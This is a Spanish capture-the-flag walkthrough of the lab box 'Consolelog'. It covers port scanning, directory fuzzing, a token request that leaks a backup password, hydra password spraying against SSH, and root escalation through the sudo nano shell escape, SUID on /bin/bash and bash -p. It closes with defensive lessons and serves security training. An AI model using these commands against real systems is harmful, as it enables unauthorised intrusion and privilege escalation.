Consolelog
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Consolelog filtra una contraseña por una API mal configurada: un endpoint que, ante el token correcto, responde conlapassworddebackupmaschingonadetodas. Sin usuario asociado, se hace password spraying con esa única contraseña contra el SSH (en el puerto 5000) hasta dar conlovely. Sus privilegios sudo sobrenano(GTFOBins) permiten poner el bit SUID a/bin/bashy escalar a root conbash -p.
Reconocimiento
Escaneo inicial
El escaneo de puertos descubre un servidor web y, más adelante, una API y un SSH en puertos no estándar.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
nmap -sCV <ip> -oN targeted
whatweb http://<ip>Fuzzing de directorios
dirsearch sobre la raíz y luego sobre /backend descubre la lógica de una API:
dirsearch -u http://<ip>
dirsearch -u http://<ip>/backendAcceso: fuga de credenciales por la API
El endpoint y su token
El /backend revela una API que escucha en el puerto 3000 y solo acepta peticiones POST con un token. Enviando el token correcto, el servidor devuelve una contraseña de backup:
curl -X POST "http://<ip>:3000/recurso" --data "{'token':'tokentraviesito'}"lapassworddebackupmaschingonadetodasPassword spraying contra SSH
Tenemos una contraseña pero ningún usuario. En lugar de brutear contraseñas, se hace lo contrario: password spraying, es decir, fijar esa única contraseña y probarla contra una lista amplia de usuarios en el SSH, que corre en el puerto 5000:
hydra -L xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://<ip>:5000 -t 64[5000][ssh] host: <ip> login: lovely password: lapassworddebackupmaschingonadetodasEl usuario lovely reutiliza la contraseña de backup (reutilización de credenciales: toda contraseña encontrada se prueba en cada cuenta y servicio, porque reutilizarlas entre sistemas es lo habitual). Se entra por SSH:
ssh lovely@<ip> -p 5000Escalada de privilegios
Privilegios sudo de lovely
lovely puede ejecutar nano como root sin contraseña:
sudo -lUser lovely may run the following commands:
(root) NOPASSWD: /usr/bin/nanonano es un editor con ejecución de comandos incorporada, así que GTFOBins lo convierte en shell root. Corriendo sudo nano y pulsando CTRL+T (abrir con comando externo) se ejecuta como root:
sudo nano
# En nano: CTRL+T ->
reset; sh 1>&0 2>&0En esta caja se usa la vía equivalente de poner el bit SUID a bash desde ese mismo prompt:
chmod u+s /bin/bashbash -p
Con /bin/bash SUID, bash -p conserva el EUID de root:
ls -l /bin/bash
bash -p# id
uid=1000(lovely) gid=1000(lovely) euid=0(root) groups=...Cadena de ataque
HTTP -> /backend -> API (puerto 3000, POST + token)
└─> filtra la contraseña de backup
└─> password spraying (SSH puerto 5000) -> lovely
└─> sudo nano (CTRL+T) -> chmod u+s /bin/bash
└─> bash -p -> rootLecciones aprendidas
- Una API que devuelve secretos es una fuga de credenciales. Responder con una contraseña de backup ante un token conocido equivale a publicarla; los secretos no deben viajar en respuestas de la API.
- Con contraseña pero sin usuario, spraying, no fuerza bruta. Fijar la contraseña con
-py variar el usuario (-L) es lo eficiente cuando lo que se conoce es la clave, no la cuenta. - Puertos no estándar no son seguridad. Mover SSH al 5000 y la API al 3000 no oculta nada frente a un escaneo completo de puertos.
sudo nanoessudo bash. Cualquier editor con shell embebida (nano, vi, less) concedido por sudo es una escalada directa; conviene evitar darlos en sudoers.